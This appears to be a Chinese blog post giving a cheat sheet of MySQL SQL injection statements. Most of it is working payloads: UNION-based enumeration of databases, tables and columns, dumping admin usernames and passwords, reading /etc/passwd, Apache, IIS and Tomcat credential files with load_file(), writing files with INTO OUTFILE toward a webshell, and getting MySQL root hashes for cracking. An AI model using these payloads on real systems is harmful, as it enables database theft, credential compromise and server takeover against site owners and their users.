美文网首页
MYSQL注入语句

MYSQL注入语句

作者: linkally | 来源:发表于2016-10-10 19:39 被阅读369次

    一、信息查询 information_schema是MySQL 5.0后产生的虚拟数据库,提供访问数据库元数据的

    方式,即数据的数据。比如数据库所有库名或表名,列类型,访问权限。

    MYsql 5.X以上版本的注入查询主要基于information_schem

    1.UNION 注入 (联合查询注入) ≥ MySQL 5      information_schema  (信息数据库),其中保存着关于 MySQL 服务器所维护的所有其它数据库的 信息, 如数据库名、表名、数据类型、访问权限等。

    显示数据库信息字段数查找

     id=1/**/Order/**/By/**/10/**/--        正常则字段数>10 id=1/**/Order/**/By/**/12/**/--        错误则字段数<12

    枚举数据库名

     And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 (注意字段数)

    从 0 个库开始,显示数到第 1 个库

    当前数据库名 and 1=2 union select 1,database()--

    查表名 

    and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7068707a72-- 

    table_schema=后面是库名的 16 进制(上面爆出的库名转换16进制)

    查字段名

    and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 1,1--

    0x61646d696e    表名 admin 

    0x7068707a72    库名 phpzr(上面爆出的库名,表名)

    查字段内容 

    and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--

    从 admin 表中查询字段名为 id、username、password 值的记录(username,password都是上一步爆出的字段名)

    admin是上面爆出的表名

    0x3c62723e 表示<br>

    、、、、、、、、、、、、、、、、、、、、、、、、、、、

    一.查看 MYSQL 基本信息(库名,版本,用户) 

    and 1=2 union select 1,database(),version(),user()--

    关于找不到 ROOT 密码的爆破: 通过 LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用户的 HASH 散列,之后用 CAIN 爆 破….      

    current_user() 当前用户名 

    version()     MySQL 数据库版本 

    system_user()      系统用户名

     user()          用户名 

    session_user()     连接数据库的用户名 

    database()     数据库名

     load_file()        MySQL 读文件(需 root 权限) 

    @@datadir    MySQL 库文件路径

    @@version_compile_os    操作系统

    Substring()函数 substring()是字符串读取(可解决字段长度限制导致信息显示不全) id=1/**/And/**/1=2/**/Union/**/Select/**/1,Substring(Load_file(0x633a2f626f6f742e696e69),1)/* */

    Replace()函数 Replace()是字符串替换函数,替换指定的字符串内容,返回替换后全部数据。有时通过 load_file() 读文件内容无法正常显示,例如用 Replace()替换掉其中编码为 hex 的“<”及“空格”。  id=1/**/And/**/1=2/**/Union/**/Select/**/1,replace(load_file(0x2f6574632f706173737764),0x3c,0 x20)/**/

    写入 webshell 一:无法获得 web 目录 ① 用 uploadpic.php 中 getimagesize()函数的小 bug,先在后台添加上传类型 text/asa,然后到前台传 图片的地方传个 asa 文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径

    二、入侵数据库操作系统 读写文件 前置条件 

    1:读文件 load_file()函数要数据库 root 账户权限.

     2:写文件 magic_quotes_gpc 必须为 off.

    数据库账户权限判断 And Ord(Mid(User(),1,1))=114         

      正常是 root

    ①  读文件 Hex (Recommend) http://127.0.0.1/web_vunerability/mysql.php?id=1/**/And/**/1=2/**/Union/**/Select/**/1,Replac e(Load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),0x3c,0x20)/**/

    /etc/httpd/conf/httpd.conf            //Red Hat 0x2f6574632f68747470642f636f6e662f68747470642e636f6e66

    c:\windows\system32\inetsrv\MetaBase.xml        //NT 5.2 0x633a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c

    c:\Program Files\Tomcat\conf\tomcat-users.xml      //Tomcat For Windows 0x433a5c50726f6772616d2046696c65735c546f6d6361745c636f6e665c746f6d6361742d7573657273 2e786d6c

    Char And/**/1=2/**/Union/**/Select/**/1,Load_file(char(99,58,92,98,111,111,116,46,105,110,105))/**/

    无编码 And/**/1=2/**/Union/**/Select/**/1,load_file('c:/boot.ini')/**/

    ②  写文件 and 1=2 union all select 'fuck',2 into outfile 'd:/fuck2.txt'#

    相关文章

      网友评论

          本文标题:MYSQL注入语句

          本文链接:https://www.haomeiwen.com/subject/walvyttx.html